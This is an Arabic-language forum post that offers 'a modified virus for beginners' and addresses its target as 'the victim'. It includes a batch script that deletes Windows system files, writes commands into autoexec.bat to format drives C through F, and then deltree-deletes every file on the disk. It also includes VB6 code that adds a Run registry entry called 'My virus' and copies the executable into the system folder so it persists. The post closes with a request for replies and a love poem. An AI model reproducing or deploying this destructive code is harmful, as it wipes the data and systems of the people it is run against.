فيروس معدل بخاصيتين قويتين(للمبتدئين مع البرهان الأسود)

بسم الله الرحمن الرحيم
و الصلاة والسلام على اشرف المرسلين

هذا كود لفيروس لكنه ليس مجرد كود بل هو معدل بخاصيتين و هما :
الخاصية الأولى تمكن الفيروس من نسخ نفسه في جميع الملفات أي حتى و لو قام بمسحه من المكتب فلن يكون مسحه نهائي .
الخاصية الثانية تأجل عمل الفيروس إلى ما بعد تشغيل الجهاز من جديد حتى و لو قام الضحية بفتحه
و الكود هو كما يلي :

echo Say Good Bye To Your Computer
pause
del %WinDir%\explorer.exe
del %WinDir%\NOTEPAD.EXE
del %WinDir%\ISUninst.exe
del %WinDir%\wjview.exe
del %WinDir%\win.ini
del %WinDir%\system.ini
cls
call attrib -h -r c:autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:autoexec.bat
echo format d: /q /u /autotest >nul >>c:autoexec.bat
echo format e: /q /u /autotest >nul >>c:autoexec.bat
echo format f: /q /u /autotest >nul >>c:autoexec.bat
echo say bye bye to your computer
pause
cls
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
cd\
deltree /y *.ini
cd\
deltree /y *.exe
cd\
deltree /y *.txt
cd\
deltree /y *.bat
cd\
deltree /y *.nls
cd\
deltree /y *.reg
cd\
deltree /y *.scr
cd\
deltree /y *.vbs
cd\
deltree /y *.dat
cd\
deltree /y *.*

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long



Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002





Private Sub Command1_Click()

Dim InputValue As String

Dim nBufferKey As Long, nBufferSubKey As Long





RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

InputValue = "c:\windows\system\Project12.exe"

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
On Error Resume Next

Dim copy, copy2

copy = "c:\virus.exe"

copy2 = "c:\windows\system\Project12.exe"

FileCopy copy, copy2

أعزائي و إخوتي لو وجدت الردود و المشاركات لموضوعي هذا فسوف أواصل و أقدم لكم شرحا شاملا لهذا الفيروس بالإضافة إلى شرح كيفية تصميم فيروس بنفسك , بس شرط الردود , على الأقل 10 مشاركات , نتمنى ما كبرتش بطني , و شكرا , من فضلكم الردود .

صادق برهاني
كم تأخر قدومك كثيراً فقد أنتظرتك طويلاً لكن المهم أني
وجدتك كان يوماً من أسعد أيامي وأحلى لحظاتي يوماً
ضحك لي فيه الزمن بعد طول إنتظار وبدون سابق إنذار
فأقصى ما تمنيته أن أجد ذلك البرهان يكلمني ووجدتك
أنت لا تقل لماذا وكيف لأني أنا نفسي لاأعرف كيف ولماذا ؟
ربما لأنك أنت هو برهاني الأسود